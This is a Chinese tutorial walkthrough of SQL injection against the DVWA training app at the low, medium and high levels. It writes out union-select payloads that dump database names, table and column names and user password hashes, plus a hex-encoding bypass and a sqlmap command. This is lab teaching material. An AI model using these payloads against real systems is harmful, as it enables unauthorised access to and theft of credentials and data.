简单的SQL注入

时间:2022-06-20 06:24:47

啥是SQL注入?

简单的SQL注入

 

 

 我们要理清我们要进行的思路  大致分7步

简单的SQL注入

 

 

 在DVWA中级别有四种  low  midium   high   impossible

简单的SQL注入

我们先设置成low 

我们在里面看一下源码设置

简单的SQL注入

 

 

 通过源码我们发现它对参数没有任何的过滤  直接带入数据库进行查询  我们猜测肯恩给存在字符型sql注入简单的SQL注入

 

 

 判断sql是否存在注入,以及注入的类型

简单的SQL注入

 

 

 接下来我们猜测sql查询语句中的字段数   1‘  order  by  1#     (逐渐增加后面的1的大小进行猜测)

简单的SQL注入简单的SQL注入

 

 

 当输入3#时就出现了错误,说明只有两列的数据   查询的表的字段数是2简单的SQL注入

 

 

 我们来看一下回显

简单的SQL注入

 

 

 接下来查询当前的数据库,以及版本     1‘ union select version(),database()#

简单的SQL注入

接下来我们获取数据库的表   1‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#   

 

 

简单的SQL注入

 

 

 接下来我们获取表中的字段名     1‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users‘#   

简单的SQL注入

 

 

 下面我们获得字段中的数据         1‘ union select user,password from users#

简单的SQL注入

 

 我们看到的就是密码  来!让我们都破解了

简单的SQL注入

 

 简单的SQL注入

 

 简单的SQL注入

 

 简单的SQL注入

 

 接下来我们将级别设置为medium  发现user  id  已经限制了

简单的SQL注入

 

 看一下源代码  发现增加了一溜规则

简单的SQL注入

 

 这个时候我们不能在这里进行sql注入了,我们可以在别的地方,嘻嘻

我们浏览器启用代理

简单的SQL注入

 

 打开我们的抓包工具

简单的SQL注入

 

 我们抓到包了,我们发的是1  我们在最下面给他改一下

简单的SQL注入

 

 稍微改动,他回显给我们的就不再是1了

简单的SQL注入

 

还是相同的步骤我们猜测字段个数

简单的SQL注入

 

 简单的SQL注入

 

 看一下3

简单的SQL注入

 

 简单的SQL注入

 

 接下来确定回显位置

简单的SQL注入

 

 简单的SQL注入

 

 获得数据库名称以及版本(注意和low不太一样,后面不能有‘)

 简单的SQL注入

 

简单的SQL注入

 

 获得数据库中所有表        

简单的SQL注入

 

 简单的SQL注入

 

 下面获取表中的所有字段名,考虑到单引号被转移,可以利用16进制绕过

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

 简单的SQL注入

 

 简单的SQL注入

 

 最后获取字段中的数据 

 简单的SQL注入

 

 简单的SQL注入

 

接下来我们将DVWA的级别设置成high    发现当你点中SQL injection界面时会出现一共点击   点击完我们会跳到另外一共界面

简单的SQL注入

 

 我们看一下高级的源码   发现里面没加啥特殊的控制,唯一就是跳了个网页

简单的SQL注入

 

 我们来获得密码

 简单的SQL注入

 

 最后我们将级别设置成impossible    看一下它的源码    发现里面加了很多东西,我们暂时莫得办法了

简单的SQL注入

当然我们可以把抓到的包,储存下来

简单的SQL注入

 

 在sqlmap里面进行执行    aqlmap.py  -r  C:11.txt  --level 3

简单的SQL注入

 

 数据库中的这三个表我们要记住因为经常要用到

简单的SQL注入